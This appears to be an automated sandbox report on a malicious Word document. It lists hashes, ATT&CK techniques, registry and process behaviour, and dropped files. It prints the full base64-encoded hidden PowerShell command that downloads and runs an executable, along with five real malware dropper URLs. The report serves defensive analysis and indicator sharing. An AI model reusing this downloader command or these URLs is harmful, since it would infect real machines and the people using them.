36c9a50587eb2b745715265ea02f3c68374a490bf7575b639f546336e68cc78b

General

Target

36c9a50587eb2b745715265ea02f3c68374a490bf7575b639f546336e68cc78b.doc
Size

184KB
MD5

4a300be3cbaffa2f5086efdcf7cb5248
SHA1

187ec6c5af555513043136b3df4eb6dcc7fbcfa9
SHA256

36c9a50587eb2b745715265ea02f3c68374a490bf7575b639f546336e68cc78b
SHA512

c81fc78ed64c4270f4a64ffe4162e724059344160293cf5a8b109a2bd10eaaa84444c52e7c9b6ce18ea087a5ca5c18f0ea7a1a77988249be6359617f66c14a2c
SSDEEP

3072:2C2y/GdyrktGDWLS0HZWD5w8K7Nk9aD7IBUfoUH9CBjBoax5waA1NWBM0z7:2C2k4TtGiL3HJk9aD7bfoUH9CBjBoaxl

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://gobabynames.com/dz6r/xytx7/

exe.dropper

http://nhomkinhthienbinh.com/cgi-bin/yW/

exe.dropper

http://capitalcitycarwash.com/komldk65kd/7tz/

exe.dropper

http://compscischool.com/wp-content/8a1n/

exe.dropper

http://gianphoisonghong.com/wp-includes/AUWxwq1V2s/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3940	4232	Powershell.exe	82

Blocklisted process makes network request 3 IoCs

flow	pid	Process
26	3940	Powershell.exe
28	3940	Powershell.exe
30	3940	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3940	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3644	WINWORD.EXE
3644	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3940	Powershell.exe
3940	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3940	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3644	WINWORD.EXE
3644	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3644	WINWORD.EXE
3644	WINWORD.EXE
3644	WINWORD.EXE
3644	WINWORD.EXE
3644	WINWORD.EXE
3644	WINWORD.EXE
3644	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3644 wrote to memory of 3112	3644	WINWORD.EXE	85
PID 3644 wrote to memory of 3112	3644	WINWORD.EXE	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\36c9a50587eb2b745715265ea02f3c68374a490bf7575b639f546336e68cc78b.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3644
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3112

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABIAG0AaAB5AHoAdABvAHkAaABzAGUAPQAnAFoAeABsAG4AcgBoAHAAdQBwAGIAZQBmACcAOwAkAEEAbABxAGEAYwByAGMAagAgAD0AIAAnADIAMQAwACcAOwAkAEUAaAB5AHEAdwBxAGQAZwBhAHIAPQAnAE0AagBqAHkAeQBtAHMAcQBkAHEAJwA7ACQAQQBhAG4AaABrAHMAaQBwAHMAYwBhAGgAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBsAHEAYQBjAHIAYwBqACsAJwAuAGUAeABlACcAOwAkAEMAYgB3AHMAawBjAHQAdQBkAGMAPQAnAFQAbgBxAGQAdwBxAGwAdwAnADsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMAbABpAGUAbgB0ADsAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAPQAnAGgAdAB0AHAAOgAvAC8AZwBvAGIAYQBiAHkAbgBhAG0AZQBzAC4AYwBvAG0ALwBkAHoANgByAC8AeAB5AHQAeAA3AC8AKgBoAHQAdABwADoALwAvAG4AaABvAG0AawBpAG4AaAB0AGgAaQBlAG4AYgBpAG4AaAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHkAVwAvACoAaAB0AHQAcAA6AC8ALwBjAGEAcABpAHQAYQBsAGMAaQB0AHkAYwBhAHIAdwBhAHMAaAAuAGMAbwBtAC8AawBvAG0AbABkAGsANgA1AGsAZAAvADcAdAB6AC8AKgBoAHQAdABwADoALwAvAGMAbwBtAHAAcwBjAGkAcwBjAGgAbwBvAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA4AGEAMQBuAC8AKgBoAHQAdABwADoALwAvAGcAaQBhAG4AcABoAG8AaQBzAG8AbgBnAGgAbwBuAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEEAVQBXAHgAdwBxADEAVgAyAHMALwAnAC4AIgBTAHAAYABsAEkAdAAiACgAJwAqACcAKQA7ACQARABrAGYAZABnAHMAbgB6AGkAbwBjAG4AbwA9ACcATAB3AHgAeAB5AGcAagBxAGoAZQBsAHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAagBqAHAAYwBnAHMAaQBmAHEAZgBtACAAaQBuACAAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAKQB7AHQAcgB5AHsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAC4AIgBkAGAAbwBgAFcAbgBMAG8AYABBAGQAZgBJAEwAZQAiACgAJABDAGoAagBwAGMAZwBzAGkAZgBxAGYAbQAsACAAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAE0AZQBpAG0AZgB5AG0AbQBnAHcAYQBnAD0AJwBGAHgAZwB6AHYAagBrAHUAbgB5AHoAcQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEEAYQBuAGgAawBzAGkAcABzAGMAYQBoAHIAKQAuACIATABFAE4AYABnAGAAVABIACIAIAAtAGcAZQAgADMANQAxADYAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAHIAVAAiACgAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAFkAdgB3AHkAZQB2AGoAdQBiAGoAdwBoAHkAPQAnAFcAcgBjAG8AawBtAHkAbAAnADsAYgByAGUAYQBrADsAJABKAHMAcQBrAG0AbwBmAHIAcQA9ACcARABpAHkAegB3AGQAZQBwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAZQBtAGIAaABvAGYAagA9ACcASgB4AHMAdgBjAHMAagBwACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\4F817C3E.wmf

Filesize
444B

MD5
770a1368ed4f1bf1a1d3b1a999115e94

SHA1
a919df98d1959d76088a7d22d1da5467ef5ab8e4

SHA256
e3c91da1cfbe3639182dde9550d49fe55af0f60cff8df68db461ddd2a05080d5

SHA512
10d04cabc3957fe6e248d50d8fa67b5d2efb82efb241a55216fa7ae8b7a58860da8200e1c1605d52f998b7e87e83a8e408780d385051a947c0f95cdcef895b93

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDD9.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bgqtrpax.4fp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3644-12-0x00007FFE9D620000-0x00007FFE9D630000-memory.dmp

Filesize
64KB

Download
memory/3644-17-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3644-6-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3644-5-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3644-7-0x00007FFE9FAF0000-0x00007FFE9FB00000-memory.dmp

Filesize
64KB

Download
memory/3644-8-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3644-9-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3644-10-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3644-11-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3644-1-0x00007FFEDFB0D000-0x00007FFEDFB0E000-memory.dmp

Filesize
4KB

Download
memory/3644-15-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3644-4-0x00007FFE9FAF0000-0x00007FFE9FB00000-memory.dmp

Filesize
64KB

Download
memory/3644-18-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3644-16-0x00007FFE9D620000-0x00007FFE9D630000-memory.dmp

Filesize
64KB

Download
memory/3644-14-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3644-13-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3644-2-0x00007FFE9FAF0000-0x00007FFE9FB00000-memory.dmp

Filesize
64KB

Download
memory/3644-3-0x00007FFE9FAF0000-0x00007FFE9FB00000-memory.dmp

Filesize
64KB

Download
memory/3644-0-0x00007FFE9FAF0000-0x00007FFE9FB00000-memory.dmp

Filesize
64KB

Download
memory/3644-79-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3644-81-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3644-80-0x00007FFEDFB0D000-0x00007FFEDFB0E000-memory.dmp

Filesize
4KB

Download
memory/3644-84-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

Filesize
2.0MB

Download
memory/3940-63-0x00000203A6080000-0x00000203A60A2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads